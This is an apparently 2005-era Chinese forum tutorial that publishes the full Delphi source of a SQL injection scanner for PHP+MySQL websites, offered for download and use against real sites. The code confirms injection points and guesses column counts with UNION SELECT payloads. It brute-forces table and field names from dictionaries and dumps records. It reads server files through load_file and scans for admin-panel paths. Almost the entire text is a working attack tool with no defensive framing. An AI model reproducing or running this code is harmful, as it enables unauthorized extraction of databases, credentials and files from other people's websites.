php+mysql网站注入扫描_delphi教程－虚拟主机资讯|虚拟主机动态

简介：PHP+MYSQL网站注入扫描工具，针对类似夜猫文章下
载系统比较有效，界面是仿教程的hdsi中的PHP注入模块写
的，实现原理是参考angel的SQL Injection with MYSQL
写的，网上有很多，不再细说。

界面截图：http://www.wrsky.com/attachment/3_1891.jpg

源码下载：http://downloads.2ccc.com/general/internet_lan/PHPInj.rar

Author: hnxyy
QQ: 19026695
Date: 2005/5/25

FireFox技术交流论坛
http://www.wrsky.com
It is all beginnings free
It is all ruin to be privately owned

使用D7编写，界面比较难看，和教主的工具对比了一下，感觉比他的工作扫描速度要快很多

主要单元代码：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Spin, StdCtrls, ComCtrls, Buttons, ExtCtrls, IDHTTP, unit2, Unit3,
OleCtrls, SHDocVw;

type
TForm1 = class(TForm)
Panel8: TPanel;
Label15: TLabel;
Label16: TLabel;
Label17: TLabel;
EdtInjUrl: TEdit;
EdtKey: TEdit;
EdtFieldNum: TEdit;
rdbNum: TRadioButton;
rdbChar: TRadioButton;
Panel1: TPanel;
pcPHPInj: TPageControl;
TabSheet1: TTabSheet;
sbscan1: TSpeedButton;
sbstop1: TSpeedButton;
sbscan2: TSpeedButton;
sbstop2: TSpeedButton;
Panel15: TPanel;
GroupBox5: TGroupBox;
lvTable: TListView;
GroupBox6: TGroupBox;
lvField: TListView;
TabSheet2: TTabSheet;
GroupBox7: TGroupBox;
Label18: TLabel;
Label19: TLabel;
Label20: TLabel;
Label21: TLabel;
spField1: TSpinEdit;
spField2: TSpinEdit;
EdtField1: TEdit;
EdtField2: TEdit;
EdtTable: TEdit;
EdtID: TEdit;
GroupBox8: TGroupBox;
Label22: TLabel;
EdtFileName: TEdit;
sbrecord: TSpeedButton;
sbfile: TSpeedButton;
MM: TMemo;
sbscan: TSpeedButton;
TabSheet3: TTabSheet;
lsbDict: TListBox;
TabSheet4: TTabSheet;
wb: TWebBrowser;
spNum: TSpinEdit;
GroupBox1: TGroupBox;
sbscan3: TSpeedButton;
sbstop3: TSpeedButton;
ListBox1: TListBox;
TabSheet5: TTabSheet;
MMAbout: TMemo;
StatusBar1: TStatusBar;
procedure sbscanClick(Sender: TObject);
procedure sbstop1Click(Sender: TObject);
procedure sbscan1Click(Sender: TObject);
procedure sbscan2Click(Sender: TObject);
procedure lvFieldClick(Sender: TObject);
procedure lvTableClick(Sender: TObject);
procedure sbrecordClick(Sender: TObject);
procedure sbfileClick(Sender: TObject);
procedure sbstop2Click(Sender: TObject);
procedure sbscan3Click(Sender: TObject);
procedure sbstop3Click(Sender: TObject);
procedure ListBox1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
Url,KeyWord:string;
iStr,InjUrl:string;
//弹出信息框
procedure MsgBox(strMsg: string);
procedure SetUrl;
function Get(URL,Key: string): boolean;
procedure InjTable;
procedure FieldThreadExit(sender: TObject);
procedure ManagerThreadExit(sender: TObject);
public
{ Public declarations }
pg1:TProgressBar;
end;

var
Form1: TForm1;
//scanTable :array of scanTableThread; // 定义线程数组
scanField :array of scanFieldThread;
scanManager :array of scanManagerThread;
scanTable: scanTableThread; //扫描表段线程
isFinish:boolean=false;

N:integer=0;
M:integer=0;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.MsgBox(strMsg: string);
begin
Application.MessageBox(pchar(strMsg), 提示信息, mb_iconinformation);
end;

procedure TForm1.SetUrl;
begin
begin
if rdbNum.Checked then
Url := trim(EdtInjUrl.Text)
else
Url := trim(EdtInjUrl.Text)+#39;
end;
end;

procedure TForm1.sbscanClick(Sender: TObject);
var
scan:scanThread;
begin
if (EdtInjUrl.Text=) then
begin
MsgBox(请输入要注入的地址！);
exit;
end;
if (EdtKey.Text=) then
begin
MsgBox(请输入要注入的关键字！);
exit;
end;
SetUrl;
KeyWord:=trim(EdtKey.Text);
pg1.Visible :=False;
//scan :=scanThread.Create(Url,KeyWord,MM);
scan :=scanThread.Create(False);
end;

function TForm1.Get(URL,Key: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
try
idhttp.HandleRedirects:= true; //必须支持重定向否则可能出错
idhttp.ReadTimeout:= 30000; //超过这个时间则不再访问
ss:= IDHTTP.Get(URL);
if Key= then
begin
if IDHTTP.ResponseCode=200 then
Result :=true;
end else
begin
if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
Result :=true;
end;
except
end;
finally
IDHTTP.Free;
end;
end;

procedure TForm1.sbstop1Click(Sender: TObject);
begin
stoped :=True;
pg1.Visible :=False;
end;

//不使用线程
procedure TForm1.InjTable;
var
i,j:integer;
begin
if (iStr=) or (KeyWord=) then exit;
lsbDict.Items.Clear;
lvTable.Items.Clear;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+Dict_Table.txt);
j:=0;
isFinish :=False;
Screen.Cursor :=crHourGlass;
try
for i:=0 to lsbDict.Count-1 do
begin
if isFinish then break;
InjUrl:=Url+/**/and/**/1=1/**/union/**/select/**/+iStr+
/**/from/**/+lsbDict.Items+/*;

MM.Lines.Add(InjUrl);
if Get(InjUrl,KeyWord) then
begin
inc(j);
with lvTable.Items.Add do
begin
Caption :=IntToStr(j);
SubItems.Add(lsbDict.Items);
end;
end;
end;
finally
Screen.Cursor :=crDefault;
end;
end;

procedure TForm1.sbscan1Click(Sender: TObject);
var
i:integer;
begin
if (strtoint(EdtFieldNum.Text)<=0) or (KeyWord=) then exit;
lsbDict.Items.Clear;
lvTable.Items.Clear;
N :=0;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+Dict_Table.txt);
isFinish :=False;
for i:=1 to strtoint(EdtFieldNum.Text) do
iStr:=iStr+,+IntToStr(i);
iStr :=copy(iStr,2,length(iStr)-1);
//在一个线程内完成表段猜解工作
scanTable :=scanTableThread.Create(Url,iStr,KeyWord,MM,lvTable);
end;

procedure TForm1.sbscan2Click(Sender: TObject);
var
i,j,Sum:integer;
tablename:string;
begin
if lvTable.Items.Count<=0 then exit;
if lvTable.SelCount<=0 then
begin
MsgBox(请选择一个表名！);
exit;
end;
tablename :=trim(lvTable.Selected.SubItems.GetText);
if tablename= then exit;

if isFinish=False then
begin
lsbDict.Items.Clear;
lvField.Items.Clear;
MM.Clear;
N :=0;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+Dict_Field.txt);
Sum :=lsbDict.Count;
iStr :=;
pg1.Min :=0;
pg1.Max :=sum;
pg1.Step :=1;
pg1.Position :=0;
pg1.Visible :=true;
MM.Lines.Add(开始猜解字段。。。);
MM.Lines.Add();
for i:=1 to strtoint(EdtFieldNum.Text) do
begin
if i=strtoint(spNum.Text) then
iStr :=iStr+,&FIELDNAME&
else iStr :=iStr+,+inttostr(i);
end;
if iStr<> then
iStr :=copy(iStr,2,length(iStr)-1);

SetLength(scanField,Sum); // 动态设置线程的数量
//创建多个线程完成字段猜解
for j:=0 to Sum-1 do
begin
//if isFinish then exit;
scanField[j] := scanFieldThread.Create(Url,iStr,KeyWord,tablename,j,MM,lvField);
scanField[j].OnTerminate := FieldThreadExit;
end;
// sbscan2.Caption :=停止;
end;

try
if isFinish=true then
begin
//if N>=lsbDict.Count then exit;
if sbscan2.Caption=停止 then
begin
for j:=N to lsbDict.Count-1 do
begin
if scanField[j].FreeOnTerminate then
begin
scanField[j].Suspend;
scanField[j].Free;
//scanField[j].Terminate;
end;
end;
end;
MM.Lines.Add();
MM.Lines.Add(字段猜解结束。。。);
// sbscan2.Caption :=猜解;
end;
except
end;

isFinish :=true;
end;

procedure TForm1.FieldThreadExit(sender: TObject);
begin
inc(N);
pg1.StepIt;
if N = lsbDict.Count then
begin
isFinish :=false;
MM.Lines.Add();
MM.Lines.Add(字段猜解结束。。。);
pg1.Visible :=False;
sbscan2.Caption :=猜解;
exit;
end;
end;

procedure TForm1.lvFieldClick(Sender: TObject);
begin
if lvField.Selected.Caption=1 then
begin
EdtField1.Text :=lvField.Items[0].SubItems.GetText;
spField1.Text :=lvField.Items[0].Caption;
end else
begin
EdtField2.Text :=lvField.Selected.SubItems.GetText;
spField2.Text :=lvField.Selected.Caption;
end;
end;

procedure TForm1.lvTableClick(Sender: TObject);
begin
EdtTable.Text :=lvTable.Selected.SubItems.GetText;
end;

procedure TForm1.sbrecordClick(Sender: TObject);
var i:integer;
begin
iStr :=;
for i:=1 to strtoint(EdtFieldNum.Text) do
begin
if i=strtoint(spField1.Text) then
iStr :=iStr+,+trim(EdtField1.Text)
else if i=strtoint(spField2.Text) then
iStr :=iStr+,+trim(EdtField2.Text)
else iStr :=iStr+,+inttostr(i);
end;
if iStr<> then
iStr :=copy(iStr,2,length(iStr)-1);

InjUrl :=Url+/**/and/**/1=2/**/union/**/select/**/+iStr
+/**/from/**/+trim(EdtTable.Text)+/**/where/**/+trim(EdtID.Text)+/*;

MM.Lines.Add(InjUrl);
if Get(InjUrl,) then
begin
wb.Navigate(InjUrl);
pcPHPInj.ActivePageIndex :=3;
end;
end;

procedure TForm1.sbfileClick(Sender: TObject);
var i,j:integer;
str,fname:string;
begin
if EdtFileName.Text= then
begin
MsgBox(请输入要猜解的文件名！);
exit;
end;
fname :=trim(EdtFileName.Text);
iStr :=;
for i:=1 to length(fname) do
begin
iStr :=iStr+,+ IntToStr(Ord(fname));
end;
if iStr<> then
begin
iStr :=copy(iStr,2,length(iStr)-1);
iStr :=load_file(char(+iStr+));
end;

str :=;
for j:=1 to strtoint(EdtFieldNum.Text) do
begin
if j=strtoint(spNum.Text) then
str :=str+,+iStr
else str :=str+,+inttostr(j);
end;
if str<> then
str :=copy(str,2,length(str)-1);

InjUrl :=Url+/**/and/**/1=2/**/union/**/select/**/+str+/*;
MM.Lines.Add(InjUrl);
if Get(InjUrl,) then
begin
wb.Navigate(InjUrl);
pcPHPInj.ActivePageIndex :=3;
end;
end;

procedure TForm1.sbstop2Click(Sender: TObject);
var i:integer;
begin
isFinish :=true;
{ if N>=lsbDict.Count then exit;
for i:=N to lsbDict.Count-1 do
begin
if scanField.FreeOnTerminate then
begin
scanField.Suspend;
scanField.Free;
end;
end;
MM.Lines.Add();
MM.Lines.Add(字段猜解结束。。。); }
end;

procedure TForm1.sbscan3Click(Sender: TObject);
var
i,iPos,Sum:integer;
begin
if isFinish=false then
begin
Url :=trim(EdtInjUrl.Text);
if pos(http://,Url)>0 then
begin
Url :=copy(Url,8,length(Url)-7);
iPos :=pos(/,Url)
end else
iPos :=pos(/,Url);
Url :=http://+copy(Url,1,iPos-1);
if Url= then exit;

lsbDict.Items.Clear;
ListBox1.Items.Clear;
MM.Lines.Clear;
M :=0;
lsbDict.Items.LoadFromFile(ExtractFilePath(Application.ExeName)+Dict_Manager.txt);
Sum :=lsbDict.Count;
pg1.Min :=0;
pg1.Max :=sum;
pg1.Step :=1;
pg1.Position :=0;
pg1.Visible :=true;
MM.Lines.Add(开始猜解后台路径。。。);
MM.Lines.Add();
SetLength(scanManager,Sum); // 动态设置线程的数量
////开始扫描后台路径
for i:=0 to Sum-1 do
begin
scanManager := scanManagerThread.Create(Url,i,ListBox1,MM);
scanManager.OnTerminate := ManagerThreadExit;
end;
end;

if isFinish=true then
begin
try
for i:=M to lsbDict.Count-1 do
begin
if scanManager.FreeOnTerminate then
begin
scanManager.Suspend;
scanManager.Free;
end;
end;
MM.Lines.Add();
MM.Lines.Add(后台路径猜解结束。。。);
except
end;
end;
isFinish :=true;
end;

procedure TForm1.ManagerThreadExit(sender: TObject);
begin
inc(M);
pg1.StepIt;
if M = lsbDict.Count then
begin
isFinish :=true;
MM.Lines.Add();
MM.Lines.Add(后台路径猜解结束。。。);
pg1.Visible :=False;
exit;
end;
end;

procedure TForm1.sbstop3Click(Sender: TObject);
var i:integer;
begin
isFinish :=false;
{ if M>=lsbDict.Count then exit;
try
for i:=M to lsbDict.Count-1 do
begin
if scanManager.FreeOnTerminate then
begin
scanManager.Suspend;
scanManager.Free;
end;
end;
MM.Lines.Add();
MM.Lines.Add(后台路径猜解结束。。。);
except
end; }
end;

procedure TForm1.ListBox1Click(Sender: TObject);
begin
wb.Navigate(ListBox1.Items.GetText);
pcPHPInj.ActivePageIndex :=3;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
pg1 :=TProgressBar.Create(nil);
pg1.Parent :=StatusBar1;
pg1.Height :=StatusBar1.Height;
pg1.Width :=StatusBar1.Width;
pg1.Visible :=False;
end;

end.

unit Unit2;

interface

uses
Classes,StdCtrls,Windows,SysUtils,ComCtrls,IdHTTP;

var
CS:TRTLCriticalSection; //定义全局临界区

type
//扫描网站是否可以注入及当前注入点对应表字段数线程类
scanThread = class(TThread)
protected
FUrl,InjUrl,FStr: string; //要注入的网站地址
FKeyWord: string; //关键字
FState: boolean;
FMemo: TMemo;
FListView: TListView;
FNum: Integer;
FTable,FValue :string;
procedure Execute; override;
public
//constructor Create(Url,KeyWord:string;Memo:TMemo);
end;
//扫描表段注入线程类
scanTableThread = class(scanThread)
private
procedure scanTableResult;
protected
procedure Execute; override;
public
constructor Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
end;
//扫描字段注入线程类
scanFieldThread = class(scanThread)
private
procedure scanFieldResult;
protected
procedure Execute; override;
public
constructor Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
end;

function Get(URL,Key: string): boolean;

var
stoped:boolean;

implementation

uses Unit1;

function Get(URL,Key: string): boolean;
var
IDHTTP: TIDHttp;
ss: String;
begin
Result:= False;
IDHTTP:= TIDHTTP.Create(nil);
try
try
idhttp.HandleRedirects:= true; //必须支持重定向否则可能出错
idhttp.ReadTimeout:= 30000; //超过这个时间则不再访问
ss:= IDHTTP.Get(URL);
if Key= then
begin
if IDHTTP.ResponseCode=200 then
Result :=true;
end else
begin
if (IDHTTP.ResponseCode=200) and (pos(Key,ss)>0) then
Result :=true;
end;
except
end;
finally
IDHTTP.Free;
end;
end;

{constructor scanThread.Create(Url,KeyWord:string;Memo:TMemo);
begin
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FreeOnTerminate := True; // 自动删除
inherited Create(False); // 直接运行
end;}

procedure scanThread.Execute;
var
i:integer;
iStr:string;
begin
FMemo :=Form1.MM;
FUrl :=trim(Form1.EdtInjUrl.Text);
FKeyWord :=trim(Form1.EdtKey.Text);
FMemo.Lines.Clear;
FMemo.Lines.Add(正在检测注入点是否可用。。。);
if (not Get(FUrl,)) or (not Get(FUrl+/**/and/**/1=1/*,))
or (not Get(FUrl+/**/and/**/1=2/*,)) then
begin
FMemo.Lines.Add(注入点不可用，猜解终止！);
exit;
end;
//开始猜解字段数目
i:=1;
iStr:=1;
FState :=False;
FMemo.Lines.Add();
FMemo.Lines.Add(开始猜解字段数目。。。);
FMemo.Lines.Add();
while not FState do
begin
inc(i);
if i>30 then
begin
FMemo.Lines.Add(最大猜解字段数大于30,猜解终止！);
FState :=True;
exit;
end;
iStr:=iStr+,+IntToStr(i);
InjUrl :=FUrl+/**/and/**/1=1/**/union/**/select/**/+iStr+/*;
FMemo.Lines.Add(InjUrl);
if Get(InjUrl,FKeyWord) then
begin
FState :=True;
FMemo.Lines.Add();
FMemo.Lines.Add(字段数目猜解结束！共找到+IntToStr(i)+个字段。);
Form1.EdtFieldNum.Text :=IntToStr(i);
Form1.spNum.MaxValue :=i;
Form1.spNum.Text :=IntToStr(i);
Form1.spField1.MaxValue :=i;
Form1.spField2.MaxValue :=i;
exit;
end;
end;
end;

constructor scanTableThread.Create(Url,Str,KeyWord:String;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
inherited Create(False);
end;

procedure scanTableThread.scanTableResult;
begin
with FListView.Items.Add do
begin
Caption :=IntToStr(FListView.Items.Count);
SubItems.Add(FValue);
end;
end;

//在一个线程内完成表段猜解工作
procedure scanTableThread.Execute;
var i:integer;
begin
stoped :=False;
with Form1 do
begin
pg1.Min :=0;
pg1.Max :=Form1.lsbDict.Count;
pg1.Step :=1;
pg1.Position :=0;
pg1.Visible :=true;
end;
EnterCriticalSection(cs); //进入临界区
FMemo.Lines.Add();
FMemo.Lines.Add(开始猜解表段。。。);
FMemo.Lines.Add();
for i:=0 to Form1.lsbDict.Count-1 do
begin
if stoped then
begin
FMemo.Lines.Add();
FMemo.Lines.Add(表段猜解结束。。。);
Form1.pg1.Visible :=False;
exit;
end;
FValue :=Form1.lsbDict.Items;
if FValue= then Continue;
InjUrl :=FUrl+/**/and/**/1=1/**/union/**/select/**/+FStr+/**/from/**/+FValue+/*;
FMemo.Lines.Add(InjUrl);
Form1.pg1.StepIt;
if Get(InjUrl,FKeyWord) then
begin
Synchronize(scanTableResult); //同步
end;
end;
FMemo.Lines.Add();
FMemo.Lines.Add(表段猜解结束。。。);
Form1.pg1.Visible :=False;
LeaveCriticalSection(CS); //退出临界区
sleep(20); // 线程挂起;
end;

//创建多个线程完成字段猜解
constructor scanFieldThread.Create(Url,Str,KeyWord,Table:String;Num:integer;Memo:TMemo;ListView:TListView);
begin
FListView :=ListView;
FMemo :=Memo;
FUrl :=Url;
FKeyWord :=KeyWord;
FStr :=Str;
FTable :=Table;
FNum :=Num;
FreeOnTerminate := True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
//inherited Create(FUrl,FKeyWord,FMemo); // 直接运行
inherited Create(False);
end;

procedure scanFieldThread.scanFieldResult;
begin
with FListView.Items.Add do
begin
Caption :=IntToStr(FListView.Items.Count);
SubItems.Add(FValue);
end;
end;

procedure scanFieldThread.Execute;
var
i:integer;
TmpStr:string;
begin
FValue :=Form1.lsbDict.Items[FNum];
TmpStr :=StringReplace(FStr,&FIELDNAME&,FValue,[rfIgnoreCase]);
InjUrl:=FUrl+/**/and/**/1=1/**/union/**/select/**/+TmpStr+/**/from/**/+FTable+/*;
EnterCriticalSection(cs); //进入临界区
FMemo.Lines.Add(InjUrl);
if Get(InjUrl,FKeyWord) then
begin
Synchronize(scanFieldResult); //同步
end;
LeaveCriticalSection(CS); //退出临界区
sleep(20); // 线程挂起;
end;

end.

//后台管理扫描线程类
unit Unit3;

interface

uses
Classes,StdCtrls,Windows,SysUtils,ComCtrls,wininet;

var
CS:TRTLCriticalSection; //定义全局临界区

type
scanManagerThread = class(TThread)
private
Tmplbx :TListBox;
TmpMemo :TMemo;
TmpNum :integer;
TmpUrl :string;
Str :string;
procedure scanResult;
protected
procedure Execute; override;
public
constructor Create(Url:string; Num: integer;Lbx: TListBox;Memo:TMemo);
end;

implementation

uses Unit1;

constructor scanManagerThread.Create(Url:string; Num: integer;Lbx: TListBox;Memo:TMemo);
begin
TmpUrl :=Url;
TmpNum :=Num; // 传递参数
Tmplbx :=Lbx;
TmpMemo :=Memo;
FreeOnTerminate :=True; // 自动删除
InitializeCriticalSection(CS); //初始化临界区
inherited Create(False); // 直接运行
end;

//====================== 判断网址是否存在的函数 =======================
function CheckUrl(url: string; TimeOut: integer = 5000): boolean;
var
hSession, hfile, hRequest: hInternet;
dwindex, dwcodelen: dword;
dwcode: array[1..20] of char;
res: pchar;
re: integer;
Err1: integer;
j: integer;
begin
if pos(http://, lowercase(url)) = 0 then
url := http:// + url;
Result := false;
InternetSetOption(hSession, Internet_OPTION_CONNECT_TIMEOUT, @TimeOut, 4);
hSession := InternetOpen(Mozilla/4.0, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
//设置超时
if assigned(hsession) then
begin
j := 1;
while true do
begin
hfile := InternetOpenUrl(hsession, pchar(url), nil, 0, INTERNET_FLAG_RELOAD, 0);
if hfile = nil then
begin
j := j + 1;
Err1 := GetLastError;
if j > 5 then break;
if (Err1 <> 12002) or (Err1 <> 12152) then break;
sleep(2);
end
else begin
break;
end;
end;
dwIndex := 0;
dwCodeLen := 10;
HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE, @dwcode, dwcodeLen, dwIndex);
res := pchar(@dwcode);
re := strtointdef(res, 404);
case re of
400..450: result := false;
else result := true;
end;
if assigned(hfile) then
InternetCloseHandle(hfile);
InternetCloseHandle(hsession);
end;
end;

function GetBackSpaceCount(str:string):string;
var i,iCount:integer;
begin
iCount :=50-length(str);
for i:=0 to iCount-1 do
begin
Result :=Result+ ;
end;
end;

procedure scanManagerThread.scanResult;
begin
Tmplbx.Items.Add(str);
Form1.GroupBox1.Caption :=检测结果：共找到+inttostr(Tmplbx.Items.Count)+条路径;
end;

procedure scanManagerThread.Execute;
begin
Str :=TmpUrl + Form1.lsbDict.Items[TmpNum];
EnterCriticalSection(cs); //进入临界区
TmpMemo.Lines.Add(Str);
if CheckUrl(Str) then
begin
Synchronize(scanResult); // 同步
end;
LeaveCriticalSection(CS); //退出临界区
//sleep(20); // 线程挂起;
end;

end.

界面截图：http://www.wrsky.com/attachment/3_1891.jpg